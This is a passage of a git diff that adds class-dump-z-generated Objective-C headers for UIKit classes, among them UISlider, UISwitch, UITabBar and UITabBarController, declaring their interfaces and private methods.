+-(void)setEnabled:(BOOL)enabled; +-(void)setHighlighted:(BOOL)highlighted; +-(void)setSelected:(BOOL)selected; +-(void)setValue:(float)value animated:(BOOL)animated; +-(void)_setValue:(float)value andSendAction:(BOOL)action; +-(void)_sliderAnimationWillStart:(id)_sliderAnimation context:(void*)context; +-(void)_sliderAnimationDidStop:(id)_sliderAnimation finished:(id)finished context:(void*)context; +-(void)_sendDelayedActions; +-(BOOL)beginTrackingAt:(CGPoint)at withEvent:(GSEventRef)event; +-(BOOL)continueTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(void)endTrackingAt:(CGPoint)at previous:(CGPoint)previous withEvent:(GSEventRef)event; +-(BOOL)cancelMouseTracking; +-(void)_controlMouseDown:(GSEventRef)down; +-(void)_controlMouseUp:(GSEventRef)up; +-(void)_controlMouseDragged:(GSEventRef)dragged; +-(BOOL)beginTrackingWithTouch:(id)touch withEvent:(id)event; +-(BOOL)continueTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)endTrackingWithTouch:(id)touch withEvent:(id)event; +-(void)_controlTouchBegan:(id)began withEvent:(id)event; +-(void)_controlTouchMoved:(id)moved withEvent:(id)event; +-(void)_controlTouchEnded:(id)ended withEvent:(id)event; +-(BOOL)cancelTouchTracking; +@end + +@interface UISlider (SyntheticEvents) +-(id)_scriptingInfo; +-(id)scriptingInfoWithChildren; +@end + +@interface UISlider (UISliderContentLookup) +-(void)_setContent:(id)content forState:(unsigned)state; +-(void)_setThumbImage:(id)image forStates:(unsigned)states; +-(void)_setMinimumTrackImage:(id)image forStates:(unsigned)states; +-(void)_setMaximumTrackImage:(id)image forStates:(unsigned)states; +-(id)_contentForState:(unsigned)state; +-(id)_thumbImageForState:(unsigned)state; +-(id)_minimumTrackImageForState:(unsigned)state; +-(id)_maximumTrackImageForState:(unsigned)state; +@end + +@interface UISlider (UISliderPrivate) +-(BOOL)_alwaysHandleScrollerMouseEvent; +-(BOOL)isAnimatingValueChange; +-(void)setShowValue:(BOOL)value; +-(CGRect)valueTextRectForBounds:(CGRect)bounds; +-(id)createThumbView; +-(void)setThumbImage:(id)image forStates:(unsigned)states; +-(void)setMinimumTrackImage:(id)image forStates:(unsigned)states; +-(void)setMaximumTrackImage:(id)image forStates:(unsigned)states; +-(void)_setTrackEnabled:(BOOL)enabled; +-(BOOL)_trackEnabled; +-(void)_setThumbEnabled:(BOOL)enabled; +-(BOOL)_isThumbEnabled; +@end + +@interface UISlider (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UISliderContent.h b/igor/headers/dumpedUIKit/UISliderContent.h new file mode 100644 index 0000000..928f775 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISliderContent.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UISliderContent : NSObject { +@private + UIImage* thumb; + UIImage* minTrack; + UIImage* maxTrack; +} +@property(retain, nonatomic) UIImage* thumb; +@property(retain, nonatomic) UIImage* minTrack; +@property(retain, nonatomic) UIImage* maxTrack; +@property(readonly, assign, nonatomic) BOOL isEmpty; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UISnapshotModalViewController.h b/igor/headers/dumpedUIKit/UISnapshotModalViewController.h new file mode 100644 index 0000000..94de49c --- /dev/null +++ b/igor/headers/dumpedUIKit/UISnapshotModalViewController.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIViewController.h" + + +__attribute__((visibility("hidden"))) +@interface UISnapshotModalViewController : UIViewController { +@private + int _interfaceOrientation; + UIViewController* _disappearingViewController; +} +@property(retain, nonatomic) UIViewController* disappearingViewController; +-(id)initWithInterfaceOrientation:(int)interfaceOrientation; +-(void)dealloc; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +@end + diff --git a/igor/headers/dumpedUIKit/UISwappableImageView.h b/igor/headers/dumpedUIKit/UISwappableImageView.h new file mode 100644 index 0000000..e49f19c --- /dev/null +++ b/igor/headers/dumpedUIKit/UISwappableImageView.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class _UISwappableImageViewAnimationProxy, UIToolbar; + +__attribute__((visibility("hidden"))) +@interface UISwappableImageView : UIView { +@private + id _value; + id _alternate; + BOOL _showAlternate; + BOOL _flipped; + BOOL _updateImage; + BOOL _bezel; + int _bezelStyle; + int _currentAnimation; + UIToolbar* _buttonBar; + int _buttonTag; + _UISwappableImageViewAnimationProxy* _proxy; + id _didFinishTarget; + SEL _didFinishSelector; +} +-(id)initWithImage:(id)image alternateImage:(id)image2 barStyle:(int)style tintColor:(id)color bezel:(BOOL)bezel; +-(void)dealloc; +-(void)setBezelStyleForBarStyle:(int)barStyle tintColor:(id)color; +-(void)updateImageIfNeeded; +-(void)showAlternateImage:(BOOL)image; +-(void)setFlipped:(BOOL)flipped; +-(void)animateImage:(float)image withButtonBar:(id)buttonBar withTag:(int)tag target:(id)target didFinishSelector:(SEL)selector; +-(void)animationDidStop:(id)animation finished:(BOOL)finished; +-(void)setImage:(id)image; +@end + diff --git a/igor/headers/dumpedUIKit/UISwipeGestureRecognizer.h b/igor/headers/dumpedUIKit/UISwipeGestureRecognizer.h new file mode 100644 index 0000000..ff8ef85 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISwipeGestureRecognizer.h @@ -0,0 +1,44 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIGestureRecognizer.h" +#import "UIKit-Structs.h" + + +@interface UISwipeGestureRecognizer : UIGestureRecognizer { +@private + double _maximumDuration; + float _minimumHorizontalMovement; + float _maximumHorizontalMovement; + float _minimumVerticalMovement; + float _maximumVerticalMovement; + float _rateOfMinimumMovementDecay; + float _rateOfMaximumMovementDecay; + CGPoint _startLocation; + CGPoint _startContentOffset; + double _startTime; + unsigned _trackingTouch : 1; + unsigned _tableViewGesture : 1; +} +@property(assign, nonatomic) double maximumDuration; +@property(assign, nonatomic) float minimumHorizontalMovement; +@property(assign, nonatomic) float maximumHorizontalMovement; +@property(assign, nonatomic) float minimumVerticalMovement; +@property(assign, nonatomic) float maximumVerticalMovement; +@property(assign, nonatomic) float rateOfMinimumMovementDecay; +@property(assign, nonatomic) float rateOfMaximumMovementDecay; +@property(readonly, assign, nonatomic) CGPoint startPoint; +-(id)initWithTarget:(id)target action:(SEL)action; +-(BOOL)isTableViewGesture; +-(void)setTableViewGesture:(BOOL)gesture; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)reset; +@end + diff --git a/igor/headers/dumpedUIKit/UISwitch.h b/igor/headers/dumpedUIKit/UISwitch.h new file mode 100644 index 0000000..96bfc66 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISwitch.h @@ -0,0 +1,52 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "NSCoding.h" +#import "UISwitch.h" + + +@interface UISwitch : UIControl { +@private + id _control; +} +@property(assign, nonatomic, getter=isOn) BOOL on; +-(id)init; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setOn:(BOOL)on animated:(BOOL)animated; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)setFrame:(CGRect)frame; +-(BOOL)isEnabled; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)isHighlighted; +-(void)setHighlighted:(BOOL)highlighted; +-(BOOL)isSelected; +-(void)setSelected:(BOOL)selected; +-(unsigned)state; +-(void)addTarget:(id)target action:(SEL)action forControlEvents:(unsigned)controlEvents; +-(void)removeTarget:(id)target action:(SEL)action forControlEvents:(unsigned)controlEvents; +@end + +@interface UISwitch (SyntheticEvents) +-(id)_scriptingInfo; +@end + +@interface UISwitch (UISwitchPrivate) +-(void)setAlternateColors:(BOOL)colors; +@end + +@interface UISwitch (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(unsigned long long)defaultAccessibilityTraits; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UISystemAlertRequest.h b/igor/headers/dumpedUIKit/UISystemAlertRequest.h new file mode 100644 index 0000000..a0057f0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UISystemAlertRequest.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIModalViewDelegate.h" + +@class UIModalView; + +__attribute__((visibility("hidden"))) +@interface UISystemAlertRequest : NSObject { +@private + int _alertID; + UIModalView* _sheet; + id _target; + SEL _action; +} +-(id)initWithAlertID:(int)alertID sheet:(id)sheet target:(id)target action:(SEL)action; +-(void)dealloc; +-(void)alertSheet:(id)sheet buttonClicked:(int)clicked; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBar.h b/igor/headers/dumpedUIKit/UITabBar.h new file mode 100644 index 0000000..51a22ba --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBar.h @@ -0,0 +1,99 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UITabBar.h" +#import "UIKit-Structs.h" + +@class UITabBarItem, NSArray; +@protocol UITabBarDelegate; + +@interface UITabBar : UIView { +@private + UIView* _customizeView; + id _delegate; + NSArray* _items; + UITabBarItem* _selectedItem; + NSArray* _customizationItems; + struct { + unsigned _firstTouchForView : 1; + unsigned _isTap : 1; + unsigned _isWarped : 1; + unsigned _isDelayed : 1; + unsigned _sentTouchesEnded : 1; + } _tabBarFlags; + NSArray* _buttonItems; + CFArrayRef _hiddenItems; +} +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) UITabBarItem* selectedItem; +@property(copy, nonatomic) NSArray* items; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(BOOL)isLocked; +-(void)setLocked:(BOOL)locked; +-(void)_sendAction:(id)action withEvent:(id)event; +-(void)_finishSetItems:(id)items finished:(id)finished context:(void*)context; +-(void)setItems:(id)items animated:(BOOL)animated; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)setBounds:(CGRect)bounds; +-(void)layoutSubviews; +-(void)beginCustomizingItems:(id)items; +-(BOOL)endCustomizingAnimated:(BOOL)animated; +-(BOOL)isCustomizing; +@end + +@interface UITabBar (SynthEvents) +-(BOOL)_isHidden:(id)hidden; +@end + +@interface UITabBar (Static) +-(void)_buttonDown:(id)down; +-(void)_buttonDownDelayed:(id)delayed; +-(void)_buttonUp:(id)up; +-(void)_buttonCancel:(id)cancel; +-(void)_adjustButtonSelection:(id)selection; +-(void)_dismissCustomizeSheet:(BOOL)sheet; +-(void)_customizeDoneButtonAction:(id)action; +-(void)_finishCustomizeAnimation:(id)animation; +-(void)_customizeWithAvailableItems:(id)availableItems; +-(void)_configureTabBarReplacingItem:(id)item withNewItem:(id)newItem dragging:(BOOL)dragging swapping:(BOOL)swapping; +-(void)_positionTabBarButtons:(id)buttons ignoringItem:(id)item; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +@end + +@interface UITabBar (UITabBarInternal) ++(float)_buttonGap; +-(void)_alertWillShow:(BOOL)_alert duration:(float)duration; +-(void)_alertDidHide; +@end + +@interface UITabBar (UITabBarPrivate) ++(float)defaultHeightForBarSize:(int)barSize; +-(void)_tabBarFinishedAnimating; +-(void)dismissCustomizeSheet:(BOOL)sheet; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)setBadgeValue:(id)value forButton:(int)button; +-(void)setBadgeGlyph:(id)glyph forButton:(int)button; +-(void)setBadgeAnimated:(BOOL)animated forButton:(int)button; +-(BOOL)onStateForButton:(int)button; +-(void)setOnStateForButton:(BOOL)button forButton:(int)button2; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(id)buttonItems; +-(void)setButtonItems:(id)items; +@end + +@interface UITabBar (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarBadgeBackground.h b/igor/headers/dumpedUIKit/UITabBarBadgeBackground.h new file mode 100644 index 0000000..9e007f5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarBadgeBackground.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UITabBarBadgeBackground : UIView { +@private + UIImage* _image; +} +-(id)initWithImage:(id)image; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarButton.h b/igor/headers/dumpedUIKit/UITabBarButton.h new file mode 100644 index 0000000..f65aa82 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarButton.h @@ -0,0 +1,55 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" +#import "UITabBarButton.h" + +@class UILabel, UITabBarButtonBadge, UITabBarSelectionIndicatorView; + +__attribute__((visibility("hidden"))) +@interface UITabBarButton : UIControl { +@private + CGRect _hitRect; + UIView* _info; + UILabel* _label; + UITabBarButtonBadge* _badge; + UITabBarSelectionIndicatorView* _selectedIndicator; + BOOL _onState; + BOOL _barHeight; + BOOL _badgeAnimated; + UIEdgeInsets _infoInsets; +} ++(id)_defaultLabelFont; ++(id)_defaultLabelColor; ++(id)_donePushButton; +-(id)initWithImage:(id)image selectedImage:(id)image2 label:(id)label withInsets:(UIEdgeInsets)insets; +-(void)dealloc; +-(void)setImage:(id)image; +-(void)_setTabBarHitRect:(CGRect)rect; +-(CGRect)_tabBarHitRect; +-(void)_showSelectedIndicator:(BOOL)indicator changeSelection:(BOOL)selection; +-(void)_setSelected:(BOOL)selected; +-(void)_positionBadge; +-(void)setFrame:(CGRect)frame; +-(void)_setBadgeValue:(id)value; +-(void)_badgeAnimationDidStop:(id)_badgeAnimation finished:(id)finished; +-(void)_setBadgeAnimated:(BOOL)animated; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(void)layoutSubviews; +-(void)_setOn:(BOOL)on; +-(BOOL)_isOn; +-(void)_setBarHeight:(float)height; +-(BOOL)_useBarHeight; +@end + +@interface UITabBarButton (SynthEvents) +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarButtonBadge.h b/igor/headers/dumpedUIKit/UITabBarButtonBadge.h new file mode 100644 index 0000000..b97e640 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarButtonBadge.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UITabBarButtonBadge : UIView { +@private + UIView* _value; + UIView* _background; + UIView* _alternate; +} +-(id)initWithValue:(id)value blinks:(BOOL)blinks; +-(void)dealloc; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)setValue:(id)value; +-(void)layoutSubviews; +-(void)setBlinks:(BOOL)blinks; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarController.h b/igor/headers/dumpedUIKit/UITabBarController.h new file mode 100644 index 0000000..79a735e --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarController.h @@ -0,0 +1,111 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UITabBarDelegate.h" +#import "UIViewController.h" + +@class UIView, UITabBar, NSArray, UINavigationController, NSMutableArray; +@protocol UITabBarControllerDelegate; + +@interface UITabBarController : UIViewController { +@private + UITabBar* _tabBar; + UIView* _containerView; + UIView* _viewControllerTransitionView; + NSMutableArray* _viewControllers; + id _tabBarItemsToViewControllers; + UIViewController* _selectedViewController; + UINavigationController* _moreNavigationController; + NSArray* _customizableViewControllers; + id _delegate; + UIViewController* _selectedViewControllerDuringWillAppear; + UIViewController* _transientViewController; + struct { + unsigned isShowingMoreItem : 1; + unsigned needsToRebuildItems : 1; + unsigned isBarHidden : 1; + unsigned editButtonOnLeft : 1; + } _tabBarControllerFlags; +} +@property(copy, nonatomic) NSArray* customizableViewControllers; +@property(assign, nonatomic) id delegate; +@property(readonly, assign, nonatomic) UITabBar* tabBar; +@property(readonly, assign, nonatomic) UINavigationController* moreNavigationController; +@property(assign, nonatomic) unsigned selectedIndex; +@property(assign, nonatomic) UIViewController* selectedViewController; +@property(copy, nonatomic) NSArray* viewControllers; +-(id)initWithNibName:(id)nibName bundle:(id)bundle; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedChildViewControllers:(id)controllers; +-(BOOL)_shouldPersistViewWhenCoding; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)viewWillLayoutSubviews; +-(void)_prepareTabBar; +-(void)setTabBar:(id)bar; +-(void)loadView; +-(void)_ensureSelectedViewControllerIsDisplayed; +-(void)viewWillAppear:(BOOL)view; +-(void)viewDidAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(void)purgeMemoryForReason:(int)reason; +-(void)_setSelectedTabBarItem:(id)item; +-(void)updateTabBarItemForViewController:(id)viewController; +-(BOOL)_reallyWantsFullScreenLayout; +-(void)_configureTargetActionForTabBarItem:(id)tabBarItem; +-(void)_rebuildTabBarItemsIfNeeded; +-(void)_rebuildTabBarItemsAnimated:(BOOL)animated; +-(void)setViewControllers:(id)controllers animated:(BOOL)animated; +-(id)_selectedViewControllerInTabBar; +-(BOOL)_allowSelectionWithinMoreList; +-(void)_setSelectedViewController:(id)controller; +-(BOOL)_allowsCustomizing; +-(id)_existingMoreNavigationController; +-(void)beginCustomizingTabBar:(id)bar; +-(void)tabBar:(id)bar willBeginCustomizingItems:(id)items; +-(void)tabBar:(id)bar willEndCustomizingItems:(id)items changed:(BOOL)changed; +-(void)tabBar:(id)bar didEndCustomizingItems:(id)items changed:(BOOL)changed; +-(BOOL)_isBarHidden; +-(void)animationDidStop:(id)animation finished:(id)finished context:(void*)context; +-(void)hideBarWithTransition:(int)transition; +-(void)showBarWithTransition:(int)transition; +-(id)allViewControllers; +-(id)_viewControllersInTabBar; +-(id)_viewControllerForTabBarItem:(id)tabBarItem; +-(void)_tabBarItemClicked:(id)clicked; +-(void)transitionFromViewController:(id)viewController toViewController:(id)viewController2; +-(id)_transitionView; +-(void)_updateLayoutForStatusBarAndInterfaceOrientation; +-(CGRect)_frameForViewController:(id)viewController; +-(void)transitionFromViewController:(id)viewController toViewController:(id)viewController2 transition:(int)transition shouldSetSelected:(BOOL)selected; +-(void)transitionViewDidComplete:(id)transitionView fromView:(id)view toView:(id)view3; +-(id)transientViewController; +-(void)setTransientViewController:(id)controller; +-(void)setTransientViewController:(id)controller animated:(BOOL)animated; +-(void)concealTabBarSelection; +-(void)revealTabBarSelection; +-(void)setShowsEditButtonOnLeft:(BOOL)left; +-(BOOL)showsEditButtonOnLeft; +-(BOOL)_allowsAutorotation; +-(BOOL)_doAllViewControllersSupportInterfaceOrientation:(int)orientation; +-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(id)rotatingHeaderView; +-(id)rotatingFooterView; +-(BOOL)_shouldUseOnePartRotation; +-(void)_getRotationContentSettings:(XXStruct_TF$i3B*)settings; +-(void)willRotateToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)didAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation; +-(void)willAnimateSecondHalfOfRotationFromInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)didRotateFromInterfaceOrientation:(int)interfaceOrientation; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarCustomizeView.h b/igor/headers/dumpedUIKit/UITabBarCustomizeView.h new file mode 100644 index 0000000..80507da --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarCustomizeView.h @@ -0,0 +1,43 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UITabBarItem, UITabBar, UIImageView, UITabBarItemProxy, NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UITabBarCustomizeView : UIView { +@private + UITabBar* _tabBar; + NSMutableArray* _proxies; + NSMutableArray* _fixedItems; + UITabBarItemProxy* _draggingProxy; + UITabBarItem* _draggingItem; + UIImageView* _dragImage; + UIImageView* _replacementGlow; + UITabBarItem* _replaceItem; + CGPoint _startPoint; + int _gridCount; + float _gridOffset; +} +-(id)initWithFrame:(CGRect)frame; +-(void)setTabBar:(id)bar currentItems:(id)items availableItems:(id)items3; +-(void)dealloc; +-(void)layoutSubviews; +-(BOOL)canHandleSwipes; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)adjustDragImageWithTouches:(id)touches withEvent:(id)event; +-(id)itemInTabBarWithTouches:(id)touches withEvent:(id)event; +-(void)tabBarTouchesBegan:(id)began withEvent:(id)event; +-(void)tabBarTouchesMoved:(id)moved withEvent:(id)event; +-(void)tabBarTouchesEnded:(id)ended withEvent:(id)event; +-(void)_finishTouchesEndedChangeAnimation:(id)animation finished:(id)finished context:(id)context; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarCustomizeViewLegacy.h b/igor/headers/dumpedUIKit/UITabBarCustomizeViewLegacy.h new file mode 100644 index 0000000..3b35767 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarCustomizeViewLegacy.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITabBarCustomizeView.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UITabBarCustomizeViewLegacy : UITabBarCustomizeView { +} +-(id)_fakeEventForEvent:(GSEventRef)event touches:(id)touches; +-(id)_fakeTouchesForEvent:(GSEventRef)event view:(id)view; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)tabBarMouseDown:(GSEventRef)down; +-(void)tabBarMouseDragged:(GSEventRef)dragged; +-(void)tabBarMouseUp:(GSEventRef)up; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarDelegate.h b/igor/headers/dumpedUIKit/UITabBarDelegate.h new file mode 100644 index 0000000..7dff53e --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarDelegate.h @@ -0,0 +1,19 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" + + +@protocol UITabBarDelegate +@optional +-(void)tabBar:(id)bar didSelectItem:(id)item; +-(void)tabBar:(id)bar willBeginCustomizingItems:(id)items; +-(void)tabBar:(id)bar didBeginCustomizingItems:(id)items; +-(void)tabBar:(id)bar willEndCustomizingItems:(id)items changed:(BOOL)changed; +-(void)tabBar:(id)bar didEndCustomizingItems:(id)items changed:(BOOL)changed; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarItem.h b/igor/headers/dumpedUIKit/UITabBarItem.h new file mode 100644 index 0000000..0d79968 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarItem.h @@ -0,0 +1,75 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIBarItem.h" +#import "UITabBarItem.h" + +@class NSString, UIView, UIImage, NSSet; + +@interface UITabBarItem : UIBarItem { +@private + NSString* _title; + NSSet* _possibleTitles; + SEL _action; + id _target; + UIImage* _image; + UIImage* _selectedImage; + UIImage* _unselectedImage; + UIEdgeInsets _imageInsets; + NSString* _badgeValue; + UIView* _view; + int _tag; + struct { + unsigned enabled : 1; + unsigned style : 3; + unsigned isSystemItem : 1; + unsigned systemItem : 7; + unsigned viewIsCustom : 1; + unsigned animatedBadge : 1; + unsigned customSelectedImage : 1; + unsigned customUnselectedImage : 1; + } _tabBarItemFlags; +} +@property(assign, nonatomic) int tag; +@property(copy, nonatomic) NSString* badgeValue; +-(id)init; +-(id)initWithTitle:(id)title image:(id)image tag:(int)tag; +-(id)initWithTabBarSystemItem:(int)tabBarSystemItem tag:(int)tag; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)isEnabled; +-(void)setTitle:(id)title; +-(id)title; +-(void)setImage:(id)image; +-(id)image; +-(void)setImageInsets:(UIEdgeInsets)insets; +-(UIEdgeInsets)imageInsets; +@end + +@interface UITabBarItem (Static) +-(id)nextResponder; +-(id)_createViewForTabBar:(id)tabBar showingBadge:(BOOL)badge; +-(void)_updateView; +@end + +@interface UITabBarItem (UITabBarItem_Private) +@property(assign, nonatomic) id target; +@property(assign, nonatomic) SEL action; +@property(retain, nonatomic) UIImage* unselectedImage; +@property(retain, nonatomic) UIImage* selectedImage; +@property(assign, nonatomic) BOOL animatedBadge; +@property(assign, nonatomic) BOOL viewIsCustom; +@property(retain, nonatomic) UIView* view; +-(BOOL)isSystemItem; +-(int)systemItem; +-(id)_internalTitle; +-(id)_internalTemplateImage; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarItemProxy.h b/igor/headers/dumpedUIKit/UITabBarItemProxy.h new file mode 100644 index 0000000..d20cf16 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarItemProxy.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UITabBarItem, UIImageView; + +__attribute__((visibility("hidden"))) +@interface UITabBarItemProxy : NSObject { +@private + UITabBarItem* _item; + UIImageView* _view; +} +-(id)initWithItem:(id)item inTabBar:(id)tabBar; +-(void)dealloc; +-(id)item; +-(id)view; +@end + diff --git a/igor/headers/dumpedUIKit/UITabBarSelectionIndicatorView.h b/igor/headers/dumpedUIKit/UITabBarSelectionIndicatorView.h new file mode 100644 index 0000000..d6f32ba --- /dev/null +++ b/igor/headers/dumpedUIKit/UITabBarSelectionIndicatorView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + 